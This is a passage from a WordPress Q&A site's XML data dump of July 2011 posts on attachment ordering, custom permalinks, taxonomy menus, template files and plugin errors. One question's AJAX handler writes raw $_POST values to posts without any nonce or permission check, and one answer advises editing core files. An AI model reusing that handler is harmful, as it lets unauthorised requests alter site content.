&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        //&amp;lt;![CDATA[&#xA;            jQuery.ajax({&#xA;                type: 'post',&#xA;                url: ajaxurl,&#xA;                data: {&#xA;                    action: 'order_attachment',&#xA;                    att_ID: jQuery(this).parents('.attachment').find('#att_id').val(),&#xA;                    att_order: jQuery(this).parents('.attachment').find('#att_order').val(),&#xA;                    _ajax_nonce: jQuery('#ordernonce').val(),&#xA;                    post_type: 'attachment'&#xA;                }&#xA;            });&#xA;        //]]&amp;gt;&#xA;    &amp;lt;/script&amp;gt;&amp;lt;?php &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then use wp_update_post to update the attachment data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('wp_ajax_order_attachment', 'order_attachment');&#xA;function order_attachment($post) {&#xA;    $attachmentdata = array();&#xA;    $attachmentdata['ID'] = $_POST['att_ID'];&#xA;    $attachmentdata['menu_order'] = $_POST['att_order'];&#xA;    wp_update_post($attachmentdata);    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm aware that I need some sort of loop here but I will work that out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2830" LastActivityDate="2011-07-26T13:13:49.577" Title="Custom function to rearrange attachments when creating posts – Almost there" Tags="&lt;jquery&gt;&lt;attachments&gt;&lt;media&gt;&lt;jquery-ui&gt;&lt;wp-update-post&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" />
  <row Id="23845" PostTypeId="1" CreationDate="2011-07-23T11:48:36.987" Score="0" ViewCount="24" Body="&lt;p&gt;I have a plugin what has custom $get variable ($_GET['propertyid']) and url bar display this: &lt;a href=&quot;http://localhost/wp/new-page/?propertyid=1&quot; rel=&quot;nofollow&quot;&gt;http://localhost/wp/new-page/?propertyid=1&lt;/a&gt; but i wan to display this: &lt;a href=&quot;http://localhost/wp/new-page/item/1&quot; rel=&quot;nofollow&quot;&gt;http://localhost/wp/new-page/item/1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tired wrote some code like this, but it doesnt work. I need help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_init', 'flush_rewrite_rules');&#xA;&#xA;add_action('generate_rewrite_rules', 'geotags_add_rewrite_rules');&#xA;function geotags_add_rewrite_rules( $wp_rewrite ) &#xA;{&#xA;  $new_rules = array( &#xA;     'item/(.+)' =&amp;gt; '&amp;amp;propertyid=' .&#xA;       $wp_rewrite-&amp;gt;preg_index(1) );&#xA;&#xA;  // Add the new rewrite rule into the top of the global rules array&#xA;  $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7271" LastActivityDate="2011-07-23T11:48:36.987" Title="How can I create custom Permalink from custom variable" Tags="&lt;customization&gt;&lt;url-rewriting&gt;&lt;urls&gt;&lt;permalink&gt;" />
  <row Id="23847" PostTypeId="1" AcceptedAnswerId="23856" CreationDate="2011-07-23T13:22:14.877" Score="0" ViewCount="46" Body="&lt;p&gt;I need to divide a set of taxonomy terms by the first letter of the term name. I found a few bits of code that may help but when I implement my code I get no return values. I'm sure it has to be something fairly small in my code but I just cannot find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This taxonomy contains brands and labels carried by shops listed on my site. So the number of terms is quite large. Some of the labels/brands/terms start with numbers, other letters and others are foreign characters like Russian and could be Japanese, Arabic etc as the site grows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code is just my first run to show only the terms that begin with Letters.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$letters = array('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');&#xA;$numbers = array(0,1,2,3,4,5,6,7,8,9);&#xA;$chracters = array_merge( $letters, $numbers );&#xA;&#xA;$args = array( 'orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'asc' );&#xA;&#xA;$terms = get_terms( $taxonomy, $args );&#xA;&#xA;if( count($terms) &amp;gt; 0 ):    &#xA;&#xA;    foreach( $terms as $term ):&#xA;        $firstchar = (string) substr( $term-&amp;gt;name, 0 );&#xA;        $firstchar = strtoupper( $firstchar );&#xA;        $termlink = get_term_link( $term-&amp;gt;slug, $taxonomy );&#xA;            if( in_array($firstchar,$letters) ):&#xA;            ?&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;post-box alignleft&quot;&amp;gt;                    &#xA;                &amp;lt;p class=&quot;post-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $termlink; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $term-&amp;gt;name; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;!-- /end .post-box --&amp;gt;&#xA;&#xA;            &amp;lt;?php&#xA;            endif;//is a letter&#xA;    endforeach;//$terms as $term&#xA;&#xA;endif;//count&amp;gt;0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure what is causing terms not to display. Here is the link to the development server &lt;a href=&quot;http://obeliskwebdesign.com/sandbox/directorysexy/in-stock-sort/&quot; rel=&quot;nofollow&quot;&gt;http://obeliskwebdesign.com/sandbox/directorysexy/in-stock-sort/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx for any insights or help. I've been stumped.&lt;/p&gt;&#xA;" OwnerUserId="5391" LastActivityDate="2011-07-23T15:04:16.153" Title="How to list terms by first letter, as in A's then B's etc" Tags="&lt;custom-taxonomy&gt;&lt;terms&gt;" AnswerCount="1" />
  <row Id="23848" PostTypeId="1" CreationDate="2011-07-23T13:29:21.727" Score="-1" ViewCount="35" Body="&lt;pre&gt;&lt;code&gt;$slider_image = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), 'slider');&#xA;                            $slider_thumb = wp_get_attachment_image_src( get_post_thumbnail_id( $post-&amp;gt;ID ), 'blog'); ?&amp;gt;&#xA;&#xA;                            &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&#xA;                                &amp;lt;img src=&quot;&amp;lt;?php echo $slider_image[0]; ?&amp;gt;&quot; rel=&quot;&amp;lt;?php echo $slider_thumb[0]; ?&amp;gt;&quot; alt=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo '#caption'.$slide.''; ?&amp;gt;&quot; /&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the original code for passing the value of an image, which was uploaded using the the default media uploader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I changed the upload method to a custom metabox, SB Uploader plugin, which uses  get_post_meta&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't know how to do it to get the same output. The 'blog' and 'slider' hold a size value for thumbnails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this is inside a WHILE loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. I'm not a coder so please break it down :)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7257" LastActivityDate="2011-07-25T18:42:24.107" Title="Need help, Passing variables with get_post_meta" Tags="&lt;metabox&gt;&lt;variables&gt;" AnswerCount="1" />
  <row Id="23849" PostTypeId="2" ParentId="13226" CreationDate="2011-07-23T13:43:29.563" Score="0" ViewCount="" Body="&lt;p&gt;I had a similar problem with radio buttons losing their status when I dragged a metabox on a settings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hacked together a workaround and posted it as a reply to the original wordpress trac ticket&#xA;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/16972#comment:4&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/16972#comment:4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="699" LastActivityDate="2011-07-23T13:43:29.563" />
  <row Id="23850" PostTypeId="1" CreationDate="2011-07-23T13:43:34.867" Score="1" ViewCount="33" Body="&lt;p&gt;When do I use the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;home.php&lt;/li&gt;&#xA;&lt;li&gt;frontpage.php&lt;/li&gt;&#xA;&lt;li&gt;Under Settings &gt; Reading Settings&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Front Page&lt;/li&gt;&#xA;&lt;li&gt;Posts Page&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I wish to clarify this as I find myself using &quot;Placeholder Pages&quot;, empty pages just for the sake of a menu item and to display blog listings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use a Static Front Page (Set under Settings &gt; Reading Settings &gt; Front Page) how do I access my posts page? Do I need to have a &quot;Placeholder Page&quot; titled blog and use &lt;code&gt;page-blog.php&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-07-23T14:07:45.937" Title="Pages: frontpage.php, home.php, posts page etc" Tags="&lt;theme-development&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="23851" PostTypeId="1" CreationDate="2011-07-23T14:02:03.500" Score="0" ViewCount="71" Body="&lt;p&gt;Since two days I am trying to solve a problem with custom taxonomies (categories).&#xA;I have a Custom Post Type called 'Portfolio' and it works as expected but a problem is with my hierarchical taxonomy that I have registered. I gave it a name: 'galleries'. Instead of displaying custom taxonomies it simply shows default categories from my blog. I found some similar problems on here but I realy don't know how to adopt other's solutions into my case. I am quite new to wordpress unfortunately. Can someone help me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code from my loop.php which is the template of my custom post type (this is my home page):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;filtering-nav&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;filter-btn&quot;&amp;gt;&amp;lt;span&amp;gt;Filter&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#all&quot; class=&quot;all&quot;&amp;gt;All&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php $args=array('orderby' =&amp;gt; 'name');&#xA;    $galleries=get_categories($args);&#xA;    foreach($galleries as $gallery){ ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&amp;lt;?php echo $gallery-&amp;gt;gallery_nicename; ?&amp;gt;&quot; class=&quot;&amp;lt;?php echo $gallery-&amp;gt;gallery_nicename; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $gallery-&amp;gt;name; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code from my function.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'portfolio_register');&#xA;function portfolio_register() {&#xA;     $labels = array(&#xA;        'name' =&amp;gt; _x('My Portfolio', 'post type general name'),&#xA;        'singular_name' =&amp;gt; _x('Portfolio Item', 'post type singular name'),&#xA;        'add_new' =&amp;gt; _x('Add New', 'portfolio item'),&#xA;        'add_new_item' =&amp;gt; __('Add New Portfolio Item'),&#xA;        'edit_item' =&amp;gt; __('Edit Portfolio Item'),&#xA;        'new_item' =&amp;gt; __('New Portfolio Item'),&#xA;        'view_item' =&amp;gt; __('View Portfolio Item'),&#xA;        'search_items' =&amp;gt; __('Search Portfolio'),&#xA;        'not_found' =&amp;gt;  __('Nothing found'),&#xA;        'not_found_in_trash' =&amp;gt; __('Nothing found in Trash'),&#xA;        'parent_item_colon' =&amp;gt; ''&#xA;    );&#xA;    $args = array(&#xA;        'labels' =&amp;gt; $labels,&#xA;        'public' =&amp;gt; true,&#xA;        'publicly_queryable' =&amp;gt; true,&#xA;        'show_ui' =&amp;gt; true,&#xA;        'query_var' =&amp;gt; true,&#xA;        'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/images/portfolio-icon.png',&#xA;        'rewrite' =&amp;gt; true,&#xA;        'capability_type' =&amp;gt; 'post',&#xA;        'hierarchical' =&amp;gt; false,&#xA;        'menu_position' =&amp;gt; null,&#xA;        'supports' =&amp;gt; array('title','editor','author','thumbnail','comments')&#xA;      ); &#xA;    register_post_type( 'portfolio' , $args );&#xA;    flush_rewrite_rules();&#xA;}&#xA;// Custom taxonomy for Portfolio Categories (Galleries)&#xA;register_taxonomy('galleries', array('portfolio'), array('hierarchical' =&amp;gt; true, 'label' =&amp;gt; 'Galleries', 'singular_label' =&amp;gt; 'Gallery', 'rewrite' =&amp;gt; true, 'public' =&amp;gt; true ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="7272" LastEditorUserId="7272" LastEditorDisplayName="" LastEditDate="2011-07-25T21:25:27.243" LastActivityDate="2011-08-28T01:35:44.977" Title="How to display custom taxonomies with links in filter menu?" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" AnswerCount="1" />
  <row Id="23852" PostTypeId="2" ParentId="23850" CreationDate="2011-07-23T14:07:45.937" Score="3" ViewCount="" Body="&lt;p&gt;You don't ever directly &lt;em&gt;use&lt;/em&gt; (as in, select as a Page template) either &lt;code&gt;front-page.php&lt;/code&gt; or &lt;code&gt;home.php&lt;/code&gt;. WordPress uses these template files automatically, according to the &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt; rules.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;front-page.php&lt;/code&gt; template file is used to display &lt;strong&gt;Site Front Page&lt;/strong&gt;, whether you have set the site front page to display a &lt;em&gt;static Page&lt;/em&gt; or the &lt;em&gt;Blog Posts Index&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;home.php&lt;/code&gt; template file is used to display the &lt;strong&gt;Blog Posts Index&lt;/strong&gt;, whether the blog posts index is set to display on the &lt;em&gt;Site Front Page&lt;/em&gt; or an a &lt;em&gt;separate static Page&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;front-page.php&lt;/code&gt; template file will override &lt;code&gt;home.php&lt;/code&gt; on the &lt;strong&gt;Site Front Page&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;home.php&lt;/code&gt; template file will override &lt;code&gt;page.php&lt;/code&gt; (or any &lt;code&gt;page-{custom-template}.php&lt;/code&gt; selections) on *non-front page static Pages`.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If I use a Static Front Page (Set under Settings &gt; Reading Settings &gt; Front Page) how do I access my posts page? Do I need to have a &quot;Placeholder Page&quot; titled blog and use page-blog.php?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To display the &lt;strong&gt;Blog Posts Index&lt;/strong&gt; on a non-front page static Page:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new static Page, with any arbitrary title (&quot;Blog&quot;, &quot;News&quot;, or anything else you want), and leave the Page Content blank/empty&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under &lt;code&gt;Dashboard -&amp;gt; Settings -&amp;gt; Reading&lt;/code&gt;, set &quot;Posts Page&quot; to the static Page you just created.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Really; that's it. If you want to customize the display of your static-page-as-blog-posts-index, simply modify the &lt;code&gt;home.php&lt;/code&gt; template file. Creating a &lt;code&gt;page-blog.php&lt;/code&gt; template file will have no effect.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-23T14:07:45.937" />
  <row Id="23853" PostTypeId="2" ParentId="11879" CreationDate="2011-07-23T14:34:23.690" Score="1" ViewCount="" Body="&lt;p&gt;It depends on the source image, aspect ratio is not magic, it must be maintained in order to lessen the proportional distortion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You best option is to upload images that will maintain the same aspect ratio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can tweak your CSS to get a more consistent image size but be aware that doing so will create distortion the further it moves away from the proper aspect ratio.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-23T14:34:23.690" CommentCount="1" />
  <row Id="23854" PostTypeId="1" CreationDate="2011-07-23T14:56:41.180" Score="0" ViewCount="4" Body="&lt;p&gt;ewA tag is a keyword or label that categorizes your question with other, similar questions.&#xA;► favor existing popular tags; avoid creating new tags&#xA;► use common abbreviations&#xA;► don't include synonyms&#xA;► combine multiple words into single-words with dashes&#xA;► maximum of 5 tags, 25 chars per tag&#xA;► tag characters: [a-z 0-9 + # - .]&#xA;► delimit tags by space, semicolon, or comma&#xA;popular tags »&lt;/p&gt;&#xA;" OwnerUserId="7273" LastActivityDate="2011-07-23T14:56:41.180" Title="wrewA tag is a keyword or label that categorizes your question with other, similar questions" Tags="&lt;wp-admin&gt;" />
  <row Id="23855" PostTypeId="2" ParentId="23851" CreationDate="2011-07-23T15:03:07.607" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;filtering-nav&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;#&quot; class=&quot;filter-btn&quot;&amp;gt;&amp;lt;span&amp;gt;Filter&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#all&quot; class=&quot;all&quot;&amp;gt;All&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php $args=array('orderby' =&amp;gt; 'name','taxonomy'=&amp;gt;'galleries');&#xA;    $galleries=get_categories($args);&#xA;    foreach($galleries as $gallery){ ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_category_link( $gallery-&amp;gt;term_id ) ; ?&amp;gt;&quot; class=&quot;&amp;lt;?php echo $gallery-&amp;gt;gallery_nicename; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $gallery-&amp;gt;name; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;div class=&quot;clearfix&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you pass argument to get_categories function , you need to pass name of taxonomy as taxonomy parameter to retrieve taxonomy instead of categories...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is complete reference..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_categories&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compare your code to below, you are missing taxonomies in args in register post type and rewrite slug in custom taxonomy arg. Below code is working perfectly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$custom_slug = get_option('slug') != '' ? get_option('slug') : 'portfolio';&#xA;&#xA;    $args = array(&#xA;        'labels'            =&amp;gt; array(&#xA;            'name'                  =&amp;gt; __('Portfolio'),&#xA;            'singular_name'         =&amp;gt; __('Portfolio Project'),&#xA;            'add_new'               =&amp;gt; __('Add Project'),&#xA;            'add_new_item'          =&amp;gt; __('Add Project'),&#xA;            'new_item'              =&amp;gt; __('Add Project'),&#xA;            'view_item'             =&amp;gt; __('View Project'),&#xA;            'search_items'          =&amp;gt; __('Search Portfolio'), &#xA;            'edit_item'             =&amp;gt; __('Edit Project'),&#xA;            'all_items'             =&amp;gt; __('Complete Portfolio'),&#xA;            'not_found'             =&amp;gt; __('No Projects found'),&#xA;            'not_found_in_trash'    =&amp;gt; __('No Projects found in Trash')&#xA;        ),&#xA;        'taxonomies'        =&amp;gt; array('portfolio-categories', 'portfolio-clients', 'portfolio-tags'),&#xA;        'public'            =&amp;gt; true,&#xA;        'show_ui'           =&amp;gt; true,&#xA;        '_builtin'          =&amp;gt; false,&#xA;        '_edit_link'        =&amp;gt; 'post.php?post=%d',&#xA;        'capability_type'   =&amp;gt; 'post',&#xA;        'rewrite'           =&amp;gt; array('slug' =&amp;gt; __($custom_slug)),&#xA;        'hierarchical'      =&amp;gt; false,&#xA;        'menu_position'     =&amp;gt; 20,&#xA;        'menu_icon'         =&amp;gt; WP_PLUGIN_URL . '/portfolio/images/icon.jpg',&#xA;        'supports'          =&amp;gt; array('title', 'editor')&#xA;    );&#xA;&#xA;    /** create portfolio categories (taxonomy) */&#xA;    register_taxonomy('portfolio-categories', 'project', array(&#xA;            'hierarchical'      =&amp;gt; true,&#xA;            'show_ui'           =&amp;gt; true,&#xA;            'rewrite'           =&amp;gt; array('slug' =&amp;gt; __($custom_slug . '/category')),&#xA;            'labels'            =&amp;gt; array(&#xA;                    'name'                          =&amp;gt; __('Portfolio Categories'),&#xA;                    'singular_name'                 =&amp;gt; __('Portfolio Category'),&#xA;                    'search_items'                  =&amp;gt; __('Search Portfolio Categories'),&#xA;                    'popular_items'                 =&amp;gt; __('Popular Portfolio Categories'),&#xA;                    'all_items'                     =&amp;gt; __('All Portfolio Categories' ),&#xA;                    'parent_item'                   =&amp;gt; __('Parent Portfolio Category'),&#xA;                    'parent_item_colon'             =&amp;gt; __('Parent Portfolio Category'),&#xA;                    'edit_item'                     =&amp;gt; __('Edit Portfolio Category'), &#xA;                    'update_item'                   =&amp;gt; __('Update Portfolio Category'),&#xA;                    'add_new_item'                  =&amp;gt; __('Add New Portfolio Category'),&#xA;                    'new_item_name'                 =&amp;gt; __('New Portfolio Category'),&#xA;                    'separate_items_with_commas'    =&amp;gt; __('Separate Portfolio Categories with commas'),&#xA;                    'add_or_remove_items'           =&amp;gt; __('Add or remove Portfolio Categories'),&#xA;                    'choose_from_most_used'         =&amp;gt; __('Choose from the most used Portfolio Categories')&#xA;        )&#xA;    ));&#xA;&#xA;&#xA;&#xA;&#xA;    /** create new custom post type */&#xA;    register_post_type('portfolio', $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6961" LastEditorUserId="6961" LastEditorDisplayName="" LastEditDate="2011-07-26T15:45:16.153" LastActivityDate="2011-07-26T15:45:16.153" CommentCount="6" />
  <row Id="23856" PostTypeId="2" ParentId="23847" CreationDate="2011-07-23T15:04:16.153" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;$taxonomy&lt;/code&gt; is possibly not set in this example? or maybe you've set it somewhere else in your code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also may want to check out php's &lt;a href=&quot;http://php.net/manual/en/book.ctype.php&quot; rel=&quot;nofollow&quot;&gt;ctype functions&lt;/a&gt; here.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-23T15:04:16.153" CommentCount="3" />
  <row Id="23857" PostTypeId="2" ParentId="8230" CreationDate="2011-07-23T15:35:47.640" Score="0" ViewCount="" Body="&lt;p&gt;i found that if you disable the pages, posts and taxonomy meta-boxes from loading in wp-admin/includes/nav_menu.php this works - as they eat up the memory because all the content of the posts is included in the source code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add // to the beginning of lines 374 &amp;amp; 375 (WP3.0) to disable&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//wp_nav_menu_post_type_meta_boxes();&#xA;//wp_nav_menu_taxonomy_meta_boxes();&lt;/p&gt;&#xA;" OwnerUserId="7276" LastActivityDate="2011-07-23T15:35:47.640" />
  <row Id="23858" PostTypeId="1" CreationDate="2011-07-23T15:39:39.490" Score="0" ViewCount="15" Body="&lt;p&gt;after installing All in One Seo plugin - and choosing a theme, the website displays error message above theme content:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the error message says - that there is permission denied in the following code line ( Bold part )  in the file /plugins/all-in-one-seo-pack/aioseop.class.php - ( line 986 ) something to do with logs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function log($message) {&#xA;        if ($this-&gt;do_log) {&#xA;            &lt;strong&gt;error_log(date('Y-m-d H:i:s') . &quot; &quot; . $message . &quot;\n&quot;, 3, $this-&gt;log_file);&lt;/strong&gt;&#xA;        }&#xA;    }&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why could there be access denied &lt;/p&gt;&#xA;" OwnerUserId="7274" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-08-23T15:31:45.240" LastActivityDate="2011-08-23T15:31:45.240" Title="All in One SEO - access denied" Tags="&lt;plugins&gt;&lt;errors&gt;&lt;all-in-one-seo&gt;&lt;access&gt;" AnswerCount="1" />
  <row Id="23859" PostTypeId="1" CreationDate="2011-07-23T15:40:31.300" Score="0" ViewCount="15" Body="&lt;p&gt;I'm trying to set up some permalinks for my site. Right now all the posts are under sitename.com/blog/, which is fine. But the category pages and tag pages show as 'sitename.com/blog/category/catname' and 'sitename.com/blog/tag/tagname'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to just skip the 'category' and 'tag' parts of the URL? As in:&#xA;'sitename.com/blog/catname'&#xA;'sitename.com/blog/tagname'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried leaving the optional settings (Settings --&gt; Permalinks --&gt; Optional) as blank for 'Category base' and 'Tag base', but they default to 'category' and 'tag', which brings me back to my previous problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then tried putting 'blog' instead. It works for the categories and tags, but it then makes all the posts redirect to a 404 page. It's as if it searches for a category/tag with the name of [postname] and on failing to find one, 404s me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone having this trouble / found a workaround for this?&lt;/p&gt;&#xA;" OwnerUserId="7277" LastActivityDate="2011-08-23T17:33:52.480" Title="Using permalinks, category slugs, and tag slugs" Tags="&lt;posts&gt;&lt;categories&gt;&lt;tags&gt;&lt;permalink&gt;" AnswerCount="1" />
  <row Id="23860" PostTypeId="2" ParentId="23858" CreationDate="2011-07-23T15:43:52.547" Score="0" ViewCount="" Body="&lt;p&gt;it looks like it's trying to write to a log file and it doesn't have the necessary permissions to do so. it also looks like there's an option to disable the log file, have a look in the plugins options section. it may also give you a clue as to where it's trying to write this file.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-23T15:43:52.547" CommentCount="1" />
  <row Id="23861" PostTypeId="1" AcceptedAnswerId="23872" CreationDate="2011-07-23T15:58:04.397" Score="1" ViewCount="31" Body="&lt;p&gt;I'm making this wordpress theme, and I need to create a menu that is vertical but its submenus are horizontal, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MenuItem&#xA; SubmenuItem | SubmenuItem &#xA;AnotherMenuItem&#xA; SubmenuItem | SubmenuItem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now using wp_nav_menu() and CSS I can get this effect, but I don't have any idea on how to add the pipe symbol to separate the submenu items.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu(array(&#xA;            'container'=&amp;gt;false,&#xA;            'after'=&amp;gt; ' | ',&#xA;            'theme_location'=&amp;gt;'home-menu',&#xA;            'menu_id'=&amp;gt;'main_nav_left',&#xA;            'menu_class'=&amp;gt;'main_link',&#xA;        ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is no good as it will turn out as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MenuItem |&#xA; SubmenuItem | SubmenuItem |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(adding a | after every item, which is the documented behavior)&#xA;I was wondering if there was a way to selectively add the pipe symbol so that it is added only between the submenuitems and not after anything else. &#xA;According to WP documentation, there doesn't seem to be a built-in method to support this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the best way to accomplish this effect (without editing wp core code)?&lt;/p&gt;&#xA;" OwnerUserId="7278" LastActivityDate="2011-07-23T21:13:23.280" Title="How to append to menu items selectively" Tags="&lt;theme-development&gt;&lt;menus&gt;" AnswerCount="1" />
